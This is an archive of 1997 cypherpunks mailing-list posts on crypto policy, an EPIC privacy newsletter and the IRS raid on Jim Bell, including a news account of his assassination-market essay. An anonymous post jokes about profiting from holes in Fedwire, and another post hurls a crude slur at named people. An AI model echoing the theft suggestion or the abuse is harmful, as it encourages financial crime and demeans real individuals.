(The search is also interesting for reasons unrelated to Jim and his ideas,
because it provides insight into the level and type and timing of law
enforcement access to the net, treatment of a "confidential informant", and
protocol/procedure for search & seizure of computers and potentially
encrypted data, etc.)  

But that doesn't mean that the dissidents get special respect or treatment
for poor thinking. I think AP is poorly reasoned and poorly researched. (And
I think that "dissident" + "poor analysis/research" + "obsessive focus" =
"loon", hence my original comments.) 


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--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Wed, 9 Apr 1997 01:36:53 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Sweden Netscape Intra
Message-ID: <TCPSMTP.17.4.9.4.30.30.2780269260.1599068@nycmetro.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

 -=> Quoting In:tcmay@got.net to Harka <=-

 In> The Swedish plan is something to be avoided. Consider just a few
 In> quotes:

Actually, I was just flying over the text before forwarding it. But
after reading it in depth, I agree with you.

 In> The government gives out the mailboxes. Wanna bet they give out the
 In> keys, too?

Not only that but it would create the e-mail monopoly, that would
be the destruction of the de-centralized nature of the Internet
(e-mail being part of it). Just imagine, how easy it would be to
have a few well publicized cases of remailer-abuse and the Swedish
Postal Office therefore decides to automatically block all mail
coming from (and maybe even to) remailers. With the majority of
people having no clue about remailers in the first place (except
what the press will feed them) the protest will be small enough to
be ignored.
That could even be extended to crypto, as you indicate. If Sweden
ever outlaws cryptography, the monopoly would provide a perfect
setting of enforcing such (with the few exceptions of where stego is
used). The same applies to content and traceability of e-mails.

 In> (Yes, I understand that the system is being presented as "voluntary."
 In> For how long? And what happens to non-PTT ISPs when the PTT is a state
 In> monopoly? (Imagine what would happen if the U.S. Postal Service made a
 In> deal wherein AOL became the favored provider.)

Market-driven "voluntary" measurements tend to be rather forced upon
people than anything else. If something is standard then you'll have
to use it because most other people do too. That is the danger with
monopolies of any kind.
This, I am afraid, will happen with crypto-issues in the US itself.
I am almost certain, that Windows 97 will adress cryptography in one
way or the other. If they put in means to encrypt e-mails for
example right from the operating system and independent of the
provider, then this would be the death-blow to PGP. And considering
the talk about "key-management-infrastructure", then this will be
probably the best means to achieve it. In fact, it might not even be
a GAK-enabled system, but one that's easy to crack (propriatory
algorithm or whatever). The civil-liberty groups have no GAK-issue
to talk about anymore and few will understand, why "security through
obscurity" is not good. The majority however, who doesn't care
anyway much about crypto, will use that slick Windows interface and
not worry any further. That would be cause for celebration at the
TLA's and the end to wide-spread strong crypto.

Ciao

Harka

/*************************************************************/
/* This user supports FREE SPEECH ONLINE     ...more info at */
/* and PRIVATE ONLINE COMMUNICATIONS! -> http://www.epic.org */
/* E-mail: harka(at)nycmetro.com (PGP-encrypted mail pref'd) */
/* PGP public key available upon request.  [KeyID: 04174301] */
/* F-print: FD E4 F8 6D C1 6A 44 F5  28 9C 40 6E B8 94 78 E8 */
/*<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>*/
/* May there be peace in this world, may all anger dissolve  */
/* and may all living beings find the way to happiness...    */
/*************************************************************/


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If encryption is outlawed, only outlaws will have encryption...






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Wed, 9 Apr 1997 01:37:12 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Cipher newsletter
Message-ID: <TCPSMTP.17.4.9.4.31.16.2780269260.1599071@nycmetro.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

== Forwarded Message Follows =========================================

Vance Bell wrote:
From: vbell@dept.english.upenn.edu (Vance Bell)
Subject: Cipher
Date: Sun, 6 Apr 1997 16:46:08 -0400 (EDT)

Cipher

http://www.itd.nrl.navy.mil/ITD/5540/ieee/cipher/

Cipher is the electronic newsletter of the Technical Committee on Security
and Privacy, IEEE featuring Security and Privacy News Briefs, Conference
Reports, Commentary and Opinion on computer security and privacy issues.

Recent articles:

     Security and Privacy News Briefs
          * LISTWATCH: Items from security-related mailing lists by Mary
          * UK Policy on Licensing TTPs Proposed, Criticised
          * Two New Sources of Random Numbers
          * Attack Reports and Responses
          * U.S. Computer Security Breach During Desert Shield?
          * New IETF Working Group Formed to Standardize SSH
          * News items from past Cipher issues
     Conference Reports
          * Report on 1st Annual Workshop on Education in Computer
              Security (WECS '97)
          * Report on ISOC Symposium on Network and Distributed System
              Security '97
     Commentary and Opinion
          * Practical Experimentation in Information Security Education
              (A brief report from a survey)
          *Summary of Comments on "A Serious Problem for Key Escrow
              Systems?"

Contact:

Carl Landwehr, landwehr@itd.nrl.navy.mil

- ------------------------------

== End Forwarded Message ==============================================


Ciao

Harka

/*************************************************************/
/* This user supports FREE SPEECH ONLINE     ...more info at */
/* and PRIVATE ONLINE COMMUNICATIONS! -> http://www.epic.org */
/* E-mail: harka(at)nycmetro.com (PGP-encrypted mail pref'd) */
/* PGP public key available upon request.  [KeyID: 04174301] */
/* F-print: FD E4 F8 6D C1 6A 44 F5  28 9C 40 6E B8 94 78 E8 */
/*<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>*/
/* May there be peace in this world, may all anger dissolve  */
/* and may all living beings find the way to happiness...    */
/*************************************************************/


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If encryption is outlawed, only outlaws will have encryption...






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Wed, 9 Apr 1997 01:37:38 -0700 (PDT)
To: cypherpunks@toad.com
Subject: EPIC Alert 4.05
Message-ID: <TCPSMTP.17.4.9.4.31.26.2780269260.1599072@nycmetro.com>
MIME-Version: 1.0
Content-Type: text/plain


== Forwarded Message Follows =========================================

 * Originally By: In:epic-news@epic.org
 * Originally Re: EPIC Alert 4.05
 * Original Date: 04-08-97  18:08

   ==============================================================

       @@@@  @@@@  @@@  @@@@      @    @     @@@@  @@@@  @@@@@
       @     @  @   @   @        @ @   @     @     @  @    @
       @@@@  @@@    @   @       @@@@@  @     @@@   @@@     @
       @     @      @   @       @   @  @     @     @  @    @
       @@@@  @     @@@  @@@@    @   @  @@@@  @@@@  @   @   @

   ==============================================================
   Volume 4.05                                   April 8, 1997
   --------------------------------------------------------------

                            Published by the
              Electronic Privacy Information Center (EPIC)
                            Washington, D.C.

                          http://www.epic.org/


=======================================================================
Table of Contents
=======================================================================

[1] OECD Releases Crypto Guidelines
[2] White House Floats Draft Crypto Bill
[3] FAA Calls for Collecting SSNs of all Air Travelers
[4] Groups Urge IETF to Fix Cookies
[5] National Research Council Reports on Privacy of Medical Systems
[6] FTC To Conduct Hearings on Privacy, Investigate Databases
[7] NTIA Files Comments on Privacy of Telephone Calling Information
[8] Upcoming Conferences and Events

=======================================================================
[1] OECD Releases Crypto Guidelines
=======================================================================

The Organization for Economic Cooperation and Development (OECD), a 29
country international organization, released on March 27 its long
anticipated Guidelines for Cryptography Policy.  The Guidelines are
intended to promote the use of cryptography, to develop electronic
commerce through a variety of commercial applications, to bolster user
confidence in networks, and to provide for data security and privacy
protection.

The Cryptography Policy Guidelines are a non-binding agreement that
identifies the basic issues that countries should consider in drawing up
cryptography policies at the national and international level.  The
Recommendation culminates one year of intensive talks to draft the
Guidelines.  They are designed to assist decision-makers in the public
and private sectors in developing and implementing coherent national and
international policies for the effective use of cryptography. Member
countries are encouraged to establish new, or amend existing, policies
to reflect them.

The Guidelines set out eight basic Principles for cryptography policy in
the areas of trust, user choice, market development, technical
standards, privacy, lawful access, liability and international
cooperation. The key recommendations of the OECD include:

 -- Recognition of commercial importance of cryptography.  The Guidelines
    recognize that cryptography is an effective tool for the secure use
    of information technology by ensuring confidentiality, integrity and
    availability of data and providing authentication and non-repudiation
    mechanisms.

 -- Rejection of key escrow encryption.  The U.S. sought endorsement
    for government access to private keys.  Initial drafts of the
    guidelines included this recommendation.  The final draft does
    not. OECD countries rejected this approach.

 -- Endorsement of voluntary, market-driven development of crypto
    products.  The OECD emphasized open, competitive markets to
    promote trade and commerce in new cryptographic methods.

 -- Need for critical assessment of key escrow.  The OECD Guidelines
    recommend that countries which are considering key escrow techniques
    to consider also "the risks of misuse, the additional expense of
    any supporting infrastructure, the prospects of technical failure,
    and other costs."

 -- Endorsement of strong privacy safeguards.  The OECD adopted one of
    strongest privacy principles found in any international agreement,
    including the obligation to apply the OECD privacy principles to
    crypto products and services.  The OECD also noted favorably the
    development of anonymous payment schemes which would minimize the
    collection of personal data.

 -- Removal of Restrictions on Cryptography.  The OECD urged member
    countries to remove, and avoid creating, obstacles to trade
    based on cryptography policy.  This guideline should lead to
    further liberalization of export control policies among the
    OECD member countries.

Drafting of the Guidelines for Cryptography Policy began in early 1996.
More than 100 representatives from OECD Member countries participated,
including government officials from commerce, industry, telecommunications
and foreign ministries, law enforcement and security agencies, privacy and
data protection commissions, as well as representatives of private sector
and privacy advocates.

The Global Internet Liberty Campaign (http://www.gilc.org/), an
international coalition of civil liberties and human rights organizations,
organized a conference for the OECD delegates in Paris in September 1996.
The conference contributed significantly to the OECD's final
recommendations.

The Guidelines, the OECD press announcement and additional commentary are
available at:

     http://www.epic.org/crypto/oecd/

=======================================================================
[2] White House Floats Draft Crypto Bill
=======================================================================

The White House has released a new draft proposal on key escrow encryption
to the Congress.  The draft (dated March 12) is entitled the "Electronic
Data Security Act of 1997."  The legislation is the latest attempt to push
forward the result the Administration sought to achieve with the failed
Clipper Chip initiative -- ensuring government access to all encrypted
communications through government-escrowed keys.

To achieve this goal, the bill would create incentives for all persons and
organizations to use a government-certified Certificate Authority (CA) to
establish their identities for any electronic transactions.  The CA would
ensure that there was an escrow system in place before it would issue an
identification certificate to the user.

Government agencies would likely refuse to communicate with persons and
entities not using a government certified CA.  Agencies would also likely
pressure others over whom they have substantial regulatory or economic
power, such as banks, state agencies, and government contractors,  to
require that government-certified CA's are used to communicate with them.
Another provision would require any person who "manufactures, imports,
packages, distributes or labels" encryption products to state whether they
use a key recovery agent.

The draft bill also provides that if non-escrowed cryptography is used
during the commission of a crime, an additional five year prison sentence
could be imposed. Another provision, apparently intended to gain industry
support, would limit the potential civil liability of any "Certification
Authority" or "Key Recovery Agent" who obtains a government certification.

More information on cryptography policy is available at:

     http://www.epic.org/crypto/

==================================================================
[3] FAA Calls for Collecting SSNs of all Air Travelers
==================================================================

On March 13, the FAA issued a call for comments on a FAA proposal to
require airlines to collect substantial personal information on each
passenger, including full name, address, next of kin, Social Security
Number and date of birth.  The purpose of this collection would be to
facilitate identification of victims of airplane crashes.  The proposal
anticipates that passengers would have to provide this information in order
to board an aircraft.

The proposal raises a number of substantive threats to personal privacy.
One major problem is that it appears to violate the Privacy Act of 1974,
which limits the ability of government agencies to collect the SSN.  There
also appear to be no limitations on the use of the collected information,
creating a risk that the data could be put to a wide variety of unrelated
uses by both the airlines and government agencies.

One potential use of this information would be in connection with the
controversial "profiling" proposals recently recommended by the Gore
Commission.  The use of the Social Security Number would simplify the
comparison of passenger records with other databases.  It appears likely
that the FAA is using this proposal as a less controversial rationale to
demand the collection of personal information rather than specifically
including it in the profiling proposal, which has already generated
considerable public and editorial opposition.

More information on the proposal and other FAA activities is available at
the EPIC Airline Security Page:

     http://www.epic.org/privacy/faa/

=======================================================================
 [4] Groups Urge IETF to Fix Cookies
=======================================================================

Several leading consumer, civil liberties, and children's advocacy
organizations have urged an Internet standards organization to fix a
problem with web browser software that allows companies and government
agencies operating web sites to track the activities of Internet users.

The groups say that there is a problem with the so-called "cookies"
technology.  Cookies make it possible to read information on users'
computers and find out where they go on the Internet. Some companies in the
on-line advertising industry use cookies data to collect personal
information for advertising and marketing.

The Internet Engineering Task Force, a loose coalition of technical experts
responsible for the development of standards for the Internet is meeting
this week in Memphis to consider a wide range of technical issues
concerning the Internet, including a proposal to limit the ability of
companies to use cookies.

The proposed safeguard has come under attack by several companies engaged
in interactive advertising and marketing.  According to a March 31, 1997
article in Ad Age, these groups are now drafting a "counter-proposal" to
head-off the IETF recommendation.

In the letter, the groups express support for RFC 2109, the proposal for an
HTTP State Management Mechanism.  The letter further says that
"transparency" -- the ability of users to see and exercise control over the
disclosure of personally identifiable information -- is a critical
guideline for the development of sensible privacy practices on the
Internet"

The letter was signed by the Center for Media Education, Computer
Professionals for Social Responsibility, the Consumer Federation of
American, the Consumer Project on Technology, the Electronic Frontier
Foundation, the Electronic Privacy Information Center, National Association
of Elementary School Principals, NetAction, Privacy International, the
United States Privacy Council, and more than one hundred Internet users.

The coalition letter, and more information about cookies, is available at:

     http://www.epic.org/privacy/internet/cookies/

=======================================================================
[5] National Research Council Reports on Privacy of Medical Systems
=======================================================================

The National Research Council has released a report on the privacy of
medical systems.  The report, entitled "For the Record: Protecting
Electronic Health Information," calls for measures by government, companies
and consumers to better protect the privacy of medical records.

The NRC recommended a two-prong approach to dealing with medical privacy,
involving the revision of organizational practices to deter unauthorized
access to and/or misuse of electronic medical records, and implemention of
more stringent technical measures as a safeguard in case the first prong
proves ineffective.

The NRC also proposes that health-related organizations adopt fair
information practices similar to those contained in the federal Privacy Act
of 1974.  Consumers should have access to a privacy ombudsman that not only
provides such information, but could also address patient grievances over
violations of privacy.

The NRC waffled on fundamental issues such as the desirability of national
databases of medical information and the creation of a unique national
patient identifier, but expressed concerns over the ramifications for
privacy entailed in such a system.  Also proposed by the NRC, although
admittedly difficult to implement, is the identification of parties which
may inappropriately link patient information.  Using the Social Security
Number, the NRC states, is in its current form insufficient to protect the
privacy of individuals.

More information on medical privacy is available at:

     http://www.epic.org/privacy/medical/

=======================================================================
[6]  FTC To Conduct Hearings on Privacy, Investigate Databases
=======================================================================

The Federal Trade Commission has announced that it will convene a public
workshop devoted to consumer information privacy on June 10-13, 1997. This
is a follow-up to FTC workshops held last summer.

The workshop is intended to gather information on the collection,
compilation, sale and use of computerized data bases that contain sensitive
identifying information, as well as self-regulatory efforts, technological
innovations and unsolicited e-mail.  The workshop will also address these
developments as they pertain to children's personal information.

The workshop will gather information for a new computer data base study
that the FTC has also announced.  However, this study will be limited to
"look up services" which contain personal identifying information, such as
the Lexis-Nexis P-TRAK service.  Importantly, the FTC will not address
computer databases used primarily for direct marketing purposes, medical
and student records or the use of computer credit reports for employment
purposes.

Interested participants must submit written comments by April 15, 1997.

More information is available at the FCC web page:

     http://www.ftc.gov/

=======================================================================
[7] NTIA Files Comments on Privacy of Telephone Calling Information
=======================================================================

The Commerce Department's National Telecommunications and Information
Administration (NTIA) recommended on March 27 that the Federal
Communications Commission (FCC) establish more specific policies to protect

<<< Continued to next message >>>
======================================================================



If encryption is outlawed, only outlaws will have encryption...






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Wed, 9 Apr 1997 02:08:52 -0700 (PDT)
To: cypherpunks@toad.com
Subject: EPIC Alert 4.05
Message-ID: <TCPSMTP.17.4.9.4.31.36.2780269260.1599073@nycmetro.com>
MIME-Version: 1.0
Content-Type: text/plain


== Forwarded Message Follows =========================================

 * Originally By: In:epic-news@epic.org
 * Originally Re: EPIC Alert 4.05
 * Original Date: 04-08-97  18:08

<<< This message is part 2 of a previous message >>>

the privacy of information gathered about consumers by telephone companies.
The recommendations cover Customer Proprietary Network Information (CPNI).
CPNI is the information that is gathered by phone companies in the process
of delivering services, such as numbers called, length of calls, and times
calls were made.  The FCC is currently conducting a rulemaking on CPNI
under the Telecommunications Act of 1996.

The law limits the use and disclosure of CPNI information:

    a telecommunications carrier that receives or obtains
    customer proprietary network information by virtue of its
    provision of a telecommunications service shall only use,
    disclose, or permit access to individually identifiable
    customer proprietary network information in its provision of
    (A) the telecommunications service from which such
    information is derived, or (B) services necessary to, or used
    in, the provision of such telecommunications service,
    including the publishing of directories.

NTIA recommended that phone companies provide a list of uses for the
information and provide consumers with an opportunity to opt-out of those
disclosures.  However, this appears to contradict the text of Section 702
of the Act, which requires that phone companies obtain prior written
consent before they can share the information and use the information for
marketing purposes.  Telephone companies have been pressing the FCC to
relax that requirement and to require customers to contact them before the
telcos stop selling the information.  Public interest groups such as
Computer Professionals for Social Responsibility and NetAction are arguing
for more consumer protection.

The NTIA comments are available at:

     http://www.ntia.doc.gov/ntiahome/fccfilings/cc96-115.htm

=======================================================================
[8] Upcoming Conferences and Events
=======================================================================

Culture and Democracy revisited in the Global Information Society.
May 8 - 10, 1997. Corfu, Greece. Sponsored by IFIP-WG9.2/9.5. Contact:
http://www.math.aegean.gr/english/events/econf/ecnew/ewc97.htm

Can Trusted Third Parties Be Trusted?: A Public Debate on The UK
DTI Crypto Proposal. May 19, 1997. London, UK. Sponsored by Privacy
International and the London School of Economics. Contact: pi@privacy.org

CYBER://CON.97: Rules for Cyberspace?:Governance, Standards and
Control. June 4 - 7, 1997. Chicago, Illinois. Sponsored by the John
Marshall Law School. Contact: cyber97@jmls.edu.

Ethics in the Computer Society: The Second Annual Ethics and
Technology Conference. June 6 - 7, 1997. Chicago, Ill. Sponsored by
Loyola University Chicago. http://www.math.luc.edu/ethics97

Public Workshop on Consumer Privacy. June 10-13, 1997. Washington, DC.
Sponsored by the Federal Trade Commission. Contact:
http://www.ftc.gov/os/9703/privacy.htm

INET 97 -- The Internet: The Global Frontiers. June 24-27, 1997. Kuala
Lumpur, Malaysia. Sponsored by the Internet Society. Contact:
inet97@isoc.org or http://www.isoc.org/inet97

Privacy Laws & Business 10th Anniversary Conference. July 1-3, 1997.
St. John's College, Cambridge, England. Contact:
info@privacylaws.co.uk.

Communities, Culture, Communication, and Computers (C**5): On the Role of
Professionals in the Information Age.  August 20-22, 1997, Paderborn,
Germany. Sponsored by FIFF. Contact: c5@uni-paderborn.de

AST3: Cryptography and Internet Privacy. Sept. 15, 1997. Brussels,
Belgium. Sponsored by Privacy International. Contact:
pi@privacy.org. http://www.privacy.org/pi/conference/brussels/

19th Annual International Privacy and Data Protection Conference.
Sept. 17-18, 1997. Brussels, Belgium. Sponsored by Belgium Data
Protection and Privacy Commission.

International Conference on Privacy. September 23-26, 1997. Montreal,
Canada. Sponsored by the Commission d'Acces a l'information du Quebec.
http://www.confpriv.qc.ca/

Managing the Privacy Revolution '97. October 21-23, 1997. Washington,
DC. Sponsored by Privacy and American Business. Contact:
http://shell.idt.net/~pab/conf97.html

             (Send calendar submissions to alert@epic.org)

=======================================================================

The EPIC Alert is a free biweekly publication of the Electronic Privacy
Information Center.  To subscribe, send email to epic-news@epic.org with
the subject: "subscribe" (no quotes) or use the subscription form at:

      http://www.epic.org/alert/subscribe.html

Back issues are available at:

      http://www.epic.org/alert/

=======================================================================

The Electronic Privacy Information Center is a public interest research
center in Washington, DC.  It was established in 1994 to focus public
attention on emerging privacy issues such as the Clipper Chip, the Digital
Telephony proposal, national ID cards, medical record privacy, and the
collection and sale of personal information. EPIC is sponsored by the Fund
for Constitutional Government, a non-profit organization established in
1974 to protect civil liberties and constitutional rights.  EPIC publishes
the EPIC Alert, pursues Freedom of Information Act litigation, and conducts
policy research. For more information, email info@epic.org,
HTTP://www.epic.org or write EPIC, 666 Pennsylvania Ave., SE, Suite 301,
Washington, DC 20003. +1 202 544 9240 (tel), +1 202 547 5482 (fax).

If you'd like to support the work of the Electronic Privacy Information
Center, contributions are welcome and fully tax-deductible.  Checks should
be made out to "The Fund for Constitutional Government" and sent to EPIC,
666 Pennsylvania Ave., SE, Suite 301, Washington DC 20003. Individuals with
First Virtual accounts can donate at http://www.epic.org/epic/support.html

Your contributions will help support Freedom of Information Act and First
Amendment litigation, strong and effective advocacy for the right of
privacy and efforts to oppose government regulation of encryption and
funding of the National Wiretap Plan.

Thank you for your support.

== End Forwarded Message ==============================================


If encryption is outlawed, only outlaws will have encryption...






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sergey Goldgaber <sergey@el.net>
Date: Wed, 9 Apr 1997 01:55:51 -0700 (PDT)
To: Toto <toto@sk.sympatico.ca>
Subject: Re: Jim Bell raid
In-Reply-To: <334AAE5E.38F5@sk.sympatico.ca>
Message-ID: <Pine.LNX.3.95.970409044458.142K-100000@void.el.net>
MIME-Version: 1.0
Content-Type: text/plain


On Tue, 8 Apr 1997, Toto wrote:

-> Christopher Blizzard wrote: 
-> > In message <Pine.LNX.3.95.970403153051.3400K-100000@void.el.net>, Sergey Goldga
-> > ber writes:
-> > :Jim Bell's essay is, IMO, definately free speech.  And, as you can see from
-> > :the IRS Inspection report, he was not charged with anything relating to the
-> > :essay itself.  In fact, the raid happened a long time after he published
-> > :the essay, and may truely be unrelated.
-> 
-> > Of course, the papers only talk about this.
-> 
->   Buy a clue, dudes.

I wouldn't bother with my nitpicky distinction below if it weren't for this
patronizing comment.

->   The application for a search warrant made it more than plain that
-> the main basis for the search and seizure fishing expedition mounted
-> by the Feds was based largely on his promotion of AP.
->   Only a few, sparse lines of the application are related to valid
-> IRS concerns re: taxes, etc. 

The search warrant was not made public on the cpunks list.  As you can see
form the above excerpt, I was commenting on the "IRS Inspection" report, which
was virtually the first description of Jim Bell's arrest, long before there
were even requests for information on the procedures for obtaining the
search warrants, etc...

After following the debate, I would definately agree that AP played an
important part in sparking the paranoia of the govt. officials to arrest
Jim, which in turn sparked off paranoia on the list, and rather reactionary
comments towards AP, and reactionary flames towards the reactionaries.  :)
Hopefully this trend won't continue.


 ............................................................................
 . Sergey Goldgaber <sergey@el.net>      System Administrator        el Net .
 ............................................................................
 .   To him who does not know the world is on fire, I have nothing to say   .
 .                                                      - Bertholt Brecht   .
 ............................................................................





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sergey Goldgaber <sergey@el.net>
Date: Wed, 9 Apr 1997 02:23:06 -0700 (PDT)
To: Robin Lee Powell <rlpowell@calum.csclub.uwaterloo.ca>
Subject: Re: IRS raids a cypherpunk
In-Reply-To: <RLPOWELL.97Apr9022157@calum>
Message-ID: <Pine.LNX.3.95.970409052058.142R-100000@void.el.net>
MIME-Version: 1.0
Content-Type: text/plain


On 9 Apr 1997, Robin Lee Powell wrote:

-> 
-> The followiing is an article that didn't even brng a hiccup to cypherpunks.   
-> 
-> 
-> WHERE IS EVERYBODY??
-> 
-> -Robin, sniff :-(
-> 
-> In article <v03007807af6a270a11d5@[168.161.105.191]> Declan McCullagh <declan@well.com> writes:
-> 

**SNIP**

->    The Netly News Network
->    April 3, 1997
-> 
->    IRS raids a cypherpunk
->    by Declan McCullagh (declan@well.com)
-> 
-> 
-> 	Jim Bell's first mistake was publishing an
->    essay describing how disgruntled citizens could
->    kill off Federal government agents by using
->    anonymous betting pools and digital cash. His
->    second mistake was informing the IRS that the
->    agency had no legal authority to tax him.

**SNIP**


Are you kidding???  There's been several 20+ message threads on the whole
Jim Bell raid!  Where were YOU?


 ............................................................................
 . Sergey Goldgaber <sergey@el.net>      System Administrator        el Net .
 ............................................................................
 .   To him who does not know the world is on fire, I have nothing to say   .
 .                                                      - Bertholt Brecht   .
 ............................................................................





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: rlpowell@calum.csclub.uwaterloo.ca (Robin Lee Powell)
Date: Tue, 8 Apr 1997 23:22:09 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: IRS raids a cypherpunk
In-Reply-To: <v03007807af6a270a11d5@[168.161.105.191]>
Message-ID: <RLPOWELL.97Apr9022157@calum>
MIME-Version: 1.0
Content-Type: text/plain



The followiing is an article that didn't even brng a hiccup to cypherpunks.   


WHERE IS EVERYBODY??

-Robin, sniff :-(

In article <v03007807af6a270a11d5@[168.161.105.191]> Declan McCullagh <declan@well.com> writes:

   Path: news.csclub.uwaterloo.ca!not-for-mail
   From: Declan McCullagh <declan@well.com>
   Newsgroups: csc.lists.coderpunks
   Date: 3 Apr 1997 23:41:04 -0500
   Organization: University of Waterloo Computer Science Club
   Lines: 79
   Sender: daemon@calum.csclub.uwaterloo.ca
   Approved: mail2news@csclub.uwaterloo.ca
   Distribution: csc
   NNTP-Posting-Host: calum.csclub.uwaterloo.ca
   Mime-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
   X-Sender: declan@mail.pathfinder.com
   Precedence: bulk
   Xref: news.csclub.uwaterloo.ca csc.lists.coderpunks:1207

   [I've attached some excerpts from the article. Check
   out the URL below for the whole thing. --Declan]

   ********

   http://cgi.pathfinder.com/netly/editorial/0,1012,800,00.html

   The Netly News Network
   April 3, 1997

   IRS raids a cypherpunk
   by Declan McCullagh (declan@well.com)


	Jim Bell's first mistake was publishing an
   essay describing how disgruntled citizens could
   kill off Federal government agents by using
   anonymous betting pools and digital cash. His
   second mistake was informing the IRS that the
   agency had no legal authority to tax him.

	About twenty armed IRS agents and other
   Federal police swarmed into Bell's home in
   Washington state on Tuesday morning, hunting for
   evidence that Bell's "Assassination Politics"
   essay had come to fruition. They expropriated
   Bell's three computer systems, two guns and even
   a solitary mouse cable. The Feds were taking no
   chances: Since Bell's voluminous Net postings
   mentioned tax collectors, agents from the BATF,
   FBI, DEA, and local police forces joined the
   raid.

   [...]

	The raid stemmed from a six-month tussle
   between Bell and the IRS, which began in November
   1996 when the 38-year old computer engineer
   demanded a hefty tax refund and threatened to
   convene his own "common-law court" if it was
   refused. That grabbed the Feds' attention. (So
   did the actions of the "Multnomah County Common
   Law Court," which apparently met in January to
   convict IRS agents and Attorney General Janet
   Reno of "theft by deception.") In February, IRS
   agents seized Bell's 1986 Honda as payment for
   back taxes -- and found inside it a printout of
   his "Assassination Politics" essay. "

   [...]

	And it was, ultimately, a Federal magistrate
   who signed the search warrant on 9:02 am on March
   28 at the request of the IRS. Jeffrey Gordon, an
   inspector in the IRS' Internal Security Division,
   details in an 10-page affidavit how he traced
   Bell's use of allegedly fraudulent Social
   Security Numbers, how he learned that Bell had
   been arrested in 1989 for "manufacturing a
   controlled substance," how he found out that Bell
   possessed the home addresses of a handful of IRS
   agents. Gordon's conclusion: Bell planned "to
   overthrow the government." The IRS investigator
   says in his affidavit that Bell's "essay details
   an illegal scheme by Bell which involves plans to
   assassinate IRS and other government officals...
   I believe that Bell has begun taking steps to
   carry out his Assassination Politics plan."

   [...]


   -------------------------
   Time Inc.
   The Netly News Network
   Washington Correspondent
   http://netlynews.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Wed, 9 Apr 1997 04:15:46 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Cryptoanalyze to make $$$ fast! [was Re: congressman wants review of online banking system]
Message-ID: <199704091115.HAA16239@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain




On Tue, Apr 8 1997, Robert Hettinga wrote-

>
>--- begin forwarded text
>
>
>X-Sender: oldbear@pop.tiac.net
>Date: Tue, 08 Apr 1997 17:58:51 -0400
>To: Digital Commerce Society of Boston <dcsb@ai.mit.edu>
>From: The Old Bear <oldbear@arctos.com>
>Subject: congressman wants review of online banking system
>Mime-Version: 1.0
>Sender: bounce-dcsb@ai.mit.edu
>Precedence: bulk
>Reply-To: The Old Bear <oldbear@arctos.com>
>
>CONGRESSMAN CALLS FOR REVIEW OF ONLINE BANKING
>
>House Banking Committee Chairman James Leach (R-Iowa) has
>asked the General Accounting Office to review whether the
>Federal Reserve has sufficiently protected its Fedwire
>funds transfer and security transfer system from electronic
>trespassing.
>
>Fedwire processes around 380,000 securities and funds
>transfers totaling $1.6 trillion each day.
                    **********************
>
>source: BNA Daily Report for Executives
>        April 7, 1997


  I bet a crack team of encryption experts from the
cypherpunks list could make a pretty penny by exploiting
holes in Fedwire or related systems.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 9 Apr 1997 08:11:40 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Reporters, Declan, Columns, Articles, and Angles
In-Reply-To: <v03007805af70ef13a8f6@[207.167.93.63]>
Message-ID: <B80V5D1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


"Timothy C. May" <tcmay@got.net> writes:

> At 1:00 AM -0400 4/9/97, Declan McCullagh wrote:
> >I'll be going to both events, of course. I'll try to drag an article or
> >column out of the "regulation in the digital age" conference, so check out
> >netlynews.com around that time. Maybe in the Afterword section.
> 
> Just when I was beginning to think Declan was not just a typical journalist..
> 
(long flame skipped)

I guess Timmy May is still miffed at Declan for exposing Timmy and Cocksucker
John Gilmore as plug-pulling censors?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 9 Apr 1997 08:13:38 -0700 (PDT)
To: freedom-knights@jetcafe.org
Subject: Re: Anti-Spambot: what algorithm should be used?
In-Reply-To: <3.0.1.32.19970409133818.009f7360@localhost>
Message-ID: <62aw5D4w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Michael Johnson <Michael.Johnson@mejl.com> writes:

> Dr.Dimitri Vulis KOTM wrote:
> >One problem is that a lot of people put fake addresses in the from:
> >fields. Why waste good e-cash on e-mail to addresses that bounce?
> 
> That's the best kind for the payer, because ecash(tm) is not lost once you
> send it. You can cancel the payment if it bounces or after a specified
> amount of time. That's the double spending protection in ecash(tm), the
> first person to deposit a specific coin gets the money.

That's a good feature.  Other than raw e-cash, Alice could be sending out
messages like "Here's a random token: return this token to redeem your
cash". Also instead of general-purpose cash, Alice could be sending out
soft tokens only usable at her site: mention Alice's 900 number, receive
